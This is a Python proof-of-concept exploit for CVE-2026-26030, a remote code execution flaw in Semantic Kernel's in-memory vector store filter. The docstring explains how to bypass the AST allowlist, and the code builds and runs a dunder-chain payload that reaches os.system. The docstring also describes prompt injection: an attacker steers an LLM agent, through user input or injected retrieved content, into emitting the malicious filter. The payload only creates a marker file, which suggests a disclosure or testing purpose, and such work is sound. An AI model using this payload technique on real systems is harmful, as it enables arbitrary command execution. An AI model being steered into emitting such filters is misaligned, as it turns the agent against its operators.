"""CVE-2026-26030 — Semantic Kernel in-memory vector store filter eval() RCE.

Realistic agent flow: an agent exposes a runbook-search tool backed by an
InMemoryCollection. The LLM emits a *filter expression* string from the
conversation (e.g. a user asking for the platform team's runbooks). That string
is attacker-influenceable — via the user prompt or via injected text in retrieved
content — and flows into InMemoryCollection._parse_and_validate_filter, which
compile()s and eval()s it.

1.39.3 guards the eval with an AST allowlist, but:
  * ast.Attribute access is entirely unrestricted (no dunder blocklist), and
  * the Call name-check only inspects func when it is a Name/Attribute. When
    func is a Subscript (allowlisted), func_name stays None and the check is
    SKIPPED. So `[obj.method][0](args)` calls anything.
Chaining those: dunder-walk object.__subclasses__ -> BuiltinImporter ->
load_module('os') -> system(cmd). All as unprivileged code execution.

Payload is harmless: it writes a marker file. Runs in an isolated venv.
"""
import os
from typing import Annotated
from dataclasses import dataclass
import asyncio

from semantic_kernel.data.vector import vectorstoremodel, VectorStoreField, VectorSearchOptions
from semantic_kernel.connectors.in_memory import InMemoryCollection
import semantic_kernel

MARKER = "/tmp/pwned_by_filter"


@vectorstoremodel
@dataclass
class Runbook:
    doc_id: Annotated[str, VectorStoreField("key")]
    team: Annotated[str, VectorStoreField("data")]
    vector: Annotated[list[float] | None, VectorStoreField("vector", dimensions=2)] = None


def build_payload() -> str:
    """The string an attacker steers the model into emitting as a 'filter'."""
    subs = ().__class__.__base__.__subclasses__()
    idx = next(i for i, c in enumerate(subs) if c.__name__ == "BuiltinImporter")
    return (
        "lambda x: "
        f"[[[().__class__.__base__.__subclasses__][0]()[{idx}].load_module][0]('os').system][0]"
        f"('touch {MARKER}')"
    )


async def main() -> None:
    print(f"[*] semantic-kernel {semantic_kernel.__version__}  (running as uid={os.getuid()})")
    if os.path.exists(MARKER):
        os.remove(MARKER)

    col = InMemoryCollection(record_type=Runbook, collection_name="runbooks")
    await col.ensure_collection_exists()
    await col.upsert([Runbook("rb1", "platform", [0.1, 0.2]), Runbook("rb2", "security", [0.3, 0.4])])

    # Benign use: the legitimate filter the agent normally builds.
    benign = "lambda x: x.team == 'platform'"
    hits = col._get_filtered_records(VectorSearchOptions(filter=benign))
    print(f"[*] benign filter {benign!r} -> matched {list(hits.keys())}")

    # Malicious use: same code path, attacker-controlled filter string.
    payload = build_payload()
    print(f"\n[!] attacker-supplied filter:\n    {payload}\n")
    try:
        col._get_filtered_records(VectorSearchOptions(filter=payload))
    except Exception as e:
        print(f"[-] filter rejected: {type(e).__name__}: {e}")

    if os.path.exists(MARKER):
        print(f"[+] RCE CONFIRMED — search filter executed os.system; {MARKER} created")
    else:
        print(f"[-] not exploited — {MARKER} absent (expected on patched builds >= 1.39.4)")


if __name__ == "__main__":
    asyncio.run(main())